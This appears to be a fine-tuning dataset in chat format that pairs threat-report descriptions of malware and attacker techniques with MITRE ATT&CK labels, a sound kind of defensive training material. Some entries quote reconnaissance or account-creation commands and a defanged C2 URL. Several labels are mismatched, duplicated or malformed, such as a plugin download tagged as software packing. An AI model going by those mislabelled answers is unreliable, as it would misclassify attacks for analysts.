                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used the Windows command shell to execute commands."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This indicates that the attackers stole and modified a legitimate document from the compromised user account, crafted a malicious decoy Word macro document using this stolen document and sent it to the target recipient who might be expecting the email from the original account user before the real sender had time to send it"
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment', 'T1087 - Account Discovery', 'T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ryuk has used a combination of symmetric (AES) and asymmetric (RSA) encryption to encrypt files. Files have been encrypted with their own AES key and given a file extension of .RYK. Encrypted directories have had a ransom note of RyukReadMe.txt written to the directory."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Shark has the ability to upload files from the compromised host over a DNS or HTTP C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gathers the OS version, logical drives information, processor information, and volume information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HELLOKITTY is written in C++, but reimplements a significant portion of DEATHRANSOM's functionality using similar loop operations and thread pooling via QueueUserWorkItem. The code structure to enumerate network resources, logical drives, and perform file encryption is very similar. Additionally, HELLOKITTY and DEATHRANSOM share very similar functions to check for the completion status of their encryption threads before exiting"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery', 'T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CrackMapExec can dump hashed passwords associated with Active Directory using Windows' Directory Replication Services API (DRSUAPI), or Volume Shadow Copy."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EXOTIC LILY has created e-mail accounts to spoof targeted organizations."
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sliver has the ability to support C2 communications over HTTP/S."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Nomadic Octopus has used PowerShell for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MarkiRAT can modify the shortcut that launches Telegram by replacing its path with the malicious payload to launch with the legitimate executable."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In order to exfiltrate data, the plugin uses the function “post” in the HTTPClient class. Post” gives the plugin the ability to upload content and exfiltrate data to the remote C2 whose domain is stored in the registry"
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BlackEnergy2 was eventually seen downloading more crimeware plugins – a custom spam plugin and a banking information stealer custom plugin"
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses a dropper called MaoCheng that harvests a stolen digital signature from Adobe Systems."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Another infamous banker Trojan, Kronos, caught up with Edge in 2016. We checked out its capabilities on a Windows 10 virtual machine. In the code of the new Kronos version we found a function that checks the name and checksum of a process, as well as the hashes of the functions hooked by the malware."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Second technique: FIN6 also leveraged the creation of Windows services (named with a random 16-character string such as IXiCDtPbtGWnrAGQ) to execute encoded PowerShell commands. The randomly named service is a by-product of using Metasploit, which creates the 16-character service by default. The encoded command contained a Metasploit reverse HTTP shellcode payload stored in a byte-array like the first technique. This C2 URL contained shellcode that would make an HTTPS request for an additional download"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The net user username \\password and net user username \\password \\domain commands in  can be used to create a local or domain account respectively."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conti can spread via SMB and encrypts files on different hosts, potentially compromising an entire network."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OopsIE can upload files from the victim's machine to its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The credential harvesting attacks used spear-phishing emails that contained malicious Microsoft Office documents that leveraged the “attachedTemplate” technique to load a template from a remote server"
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Trojan obfuscates its executable code prior to compilation, rather than packing it like most other ransomware, making it harder for researchers to reverse engineer and analyze the malicious code. It also obscures the links to the necessary API function, and stores hashes to strings rather than the actual strings. Upon installation, the Trojan reviews the directory its executable is started from, and if it spots an attempt to launch it from an ‘incorrect’ directory – such as a potential automated sandbox – it exits. Before encrypting files on a victim device, SynAck checks the hashes of all running processes and services against its own hard coded list. If it finds a match, it tries to kill the process"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery', 'T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "tools attempt to spoof anti-virus processes as a means of self-defense."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN7 used SQL scripts to help perform tasks on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Bazar Loader malware was using a code signing certificate signed by Digicert under the organization NOSOV SP Z O O"
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If you use /p, del displays the name of a file and sends the following message: FileName, Delete (Y/N)? To confirm the deletion, press Y. To cancel the deletion and display the next file name (that is, if you specified a group of files), press N. For example, the following command deletes all of the files in the \\Work folder: Copy del \\work - You can use wildcards (* and ?) to delete more than one file at a time. However, to avoid deleting files unintentionally, you should use wildcards cautiously with the del command. For example, if you type the following command: Copy del *.* The del command displays the following prompt: Are you sure (Y/N)? To delete all of the files in the current directory, press Y and then press ENTER. To cancel the deletion, press N and then press ENTER"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used several tools to scan for open NetBIOS nameservers and enumerate NetBIOS sessions."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates Registry keys to allow itself to run as various services."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Computer name - System info using: cmd /c systeminfo &gt;%temp%\\temp.ini - List of currently running process using: cmd /c tasklist &gt;%temp%\\temp.ini"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mustang Panda has used malicious PowerShell scripts to enable execution."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WhisperGate can stop its execution when it recognizes the presence of certain monitoring tools."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some  malware uses a list of ordered port numbers to choose a port for C2 traffic, which includes uncommonly used ports such as 995, 1816, 465, 1521, 3306, and many others."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Astaroth exfiltrates collected information from its r1.log file to the external C2 server."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Commands such as \"net use\" and \"net session\" can be used in Net to gather information about network connections from a particular host."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kwampirs collects a list of files and directories in C:\\ with the command \"dir /s /a c:\\ >> \"C:\\windows\\TEMP\\[RANDOM].tmp\"\"."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If the bot is running as admin on Windows XP or 7, persistence is established using application shimming [1]. It uses a method very similar to the one described by FireEye in their blog post “To SDB, Or Not To SDB: FIN7 Leveraging Shim Databases for Persistence” [3]. A shim database (SDB) is created (Figure 13) to patch services[.]exe with the loader code and then installed with sdbinst[.]exe"
            },
            {
                "role": "assistant",
                "content": "T1546.011 - Event Triggered Execution: Application Shimming"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PLATINUM has renamed rar.exe to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WellMail can decompress scripts received from C2."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "JPIN can communicate over FTP."
            },
            {
                "role": "assistant",
                "content": "T1071.002 - File Transfer Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DLL file and non-malicious decoy file are encrypted with RC4."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TG-3390 actors have deployed the OwaAuth web shell to Exchange servers, disguising it as an ISAPI filter"
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cuba can use the command \"cmd.exe /c del\" to delete its artifacts from the system."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Donut can erase file references to payloads in-memory after being reflectively loaded and executed."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SILENTTRINITY has the ability to leverage API including `GetProcAddress` and `LoadLibrary`."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "\"beacon\" payload is capable of capturing screen shots."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Security researchers previously discovered Transparent Tribe using sharingmymedia[.]com to host Android malware targeting Indian military and defense personnel.Figure 1: Maldoc masquerading as a congratulatory notice from CLAWS. Figure 2 shows the attackers' use of HTTrack, a free website copier program, to duplicate a legitimate website to use for their own malicious purposes. These examples highlight Transparent Tribe's heavy reliance on social engineering as a core TTP and the group's efforts to make their operations appear as legitimate as possible.Figure 2: Fake website cloned using HTTrack on May 29, 2020. Lures and targeting . Transparent Tribe uses a variety of themes in their lures that evolved over time. Defense-themed lures . Transparent Tribe has historically used military and defense-themes in their phishing emails and maldocs to target Indian military and government personnel. Figure 6: Transparent Tribe's spear-phishing email targeting defense personnel. HoneyTraps . Transparent Tribe consistently uses alluring documents and file names, commonly referred to as honeytraps, to trick victims into executing malicious content on their endpoints. Transparent Tribe also delivers malicious archives containing CrimsonRAT executables using various themes, including honeytraps. Conclusion . Transparent Tribe relies heavily on the use of maldocs to spread their Windows implants. Transparent Tribe uses generically themed content-hosting domains as well as malicious domains masquerading as legitimate defense-related websites"
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kerrdown has gained execution through victims opening malicious files."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "variants can add malicious DLL modules as new services."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ryuk does not encrypt files from within its own process memory space, but injects into a remote process. Before injecting into a remote process, Ryuk attempts to adjust its token privileges to have the SeDebugPrivilege. It takes no action if the adjustment of the token privileges fails. Before injecting into a remote process, Ryuk also calls CreateToolhelp32Snapshot to enumerate all running processes. If a process is found that is not named csrss.exe, explorer.exe, lsaas.exe, or is running under NT AUTHORITY system account, Ryuk will inject itself into this single process. Ryuk uses a combination of VirtualAlloc, WriteProcessMemory and CreateRemoteThread to inject itself into the remote process"
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Network penetration In all cases investigated by Group-IB, the Cobalt group used a set of spear phishing emails to gain initial access to the corporate infrastructure. Running in RAM Cobalt Strike modules aren't stored in the file system; their executable code can only be found in RAM. Provision of the malware survivability The Cobalt group uses different methods to ensure malware survivability on corporate networks. The goal is to set the startup path to the executable file or program code, launching it with the powershell.exe shell command to access the Internet resource specified in the code in order to download and install Cobalt Strike module. Bypassing network security Cobalt Strike allows users to install two types of modules: HTTP/HTTPS/DNS modules and SMB modules. Another module is installed even in systems that do not have Internet access, as, using SMB protocol (which is typically used within a local network), the SMB module is controlled via infected computers running the HTTP/HTTPS/DNS module. The Cobalt Strike module can use several profiles and switch between data exchange methods on command from the C&amp;C server without the need to update the module. Connect to another computer using PsExec.exe (the remote access program is included in the Microsoft SysInternals suite), copy the module, and run it; delete the module. Use of standard tools Cobalt Strike is publicly accessible, and can be downloaded in order to learn and create detection rules on the network. Conclusion After infecting one computer on an organization's network, the Cobalt group analyzes the programs used on it and search for critical servers and the computers from which they are accessed"
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SYSCON has the ability to use Systeminfo to identify system information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Shark can update its configuration to use a different C2 server."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has used FTP to download additional malware to the target machine."
            },
            {
                "role": "assistant",
                "content": "T1071.002 - File Transfer Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload will communicate with its C2 server to obtain the session ID and pre-shared key and write it to this registry key in the following format:   <session id>_<pre-shared key>   To obtain the session ID and pre-shared key, the payload will first try to contact the C2 via an HTTPS GET request to the following URL:   hxxps://www.rdppath[.]com/   If the above request using HTTPS does not result in an HTTP 200 OK message or the response data has no alphanumeric characters, the code will attempt to communicate with the C2 server using HTTP via the following URL:   hxxp://www.rdppath[.]com/   The code to communicate with the C2 via HTTP exists within an exception handler"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol', 'T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the capability to create a remote shell."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KOCTOPUS can set the AutoRun Registry key with a PowerShell command."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ChChes collects its process identifier (PID) on the victim."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Orz can gather victim proxy information."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can discover and collect victim system information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BADNEWS monitors USB devices and copies files with certain extensions to a predefined directory."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actors named one instance of their web shell 'outlookconfiguration.aspx' likely for the purpose of appearing to be a legitimate webpage on a targeted OWA server."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a backdoor through which remote attackers can steal system information."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System', 'T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 downloads and executes PowerShell scripts and performs PowerShell commands."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a Registry subkey that registers a new system device."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry', 'T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RogueRobin gathers BIOS versions and manufacturers, the number of CPU cores, the total physical memory, and the computer name."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "1) The group delivers a malicious Office lure document to victims, most likely via a spear-phishing email. 2) These lure documents use titles with government, military, and diplomatic themes, and the file names are written in English or Cyrillic languages. These documents are not very sophisticated, but evidence of infections shows that they’re effective"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains functionality to collect information from the clipboard."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A  malware sample performs reflective DLL injection."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
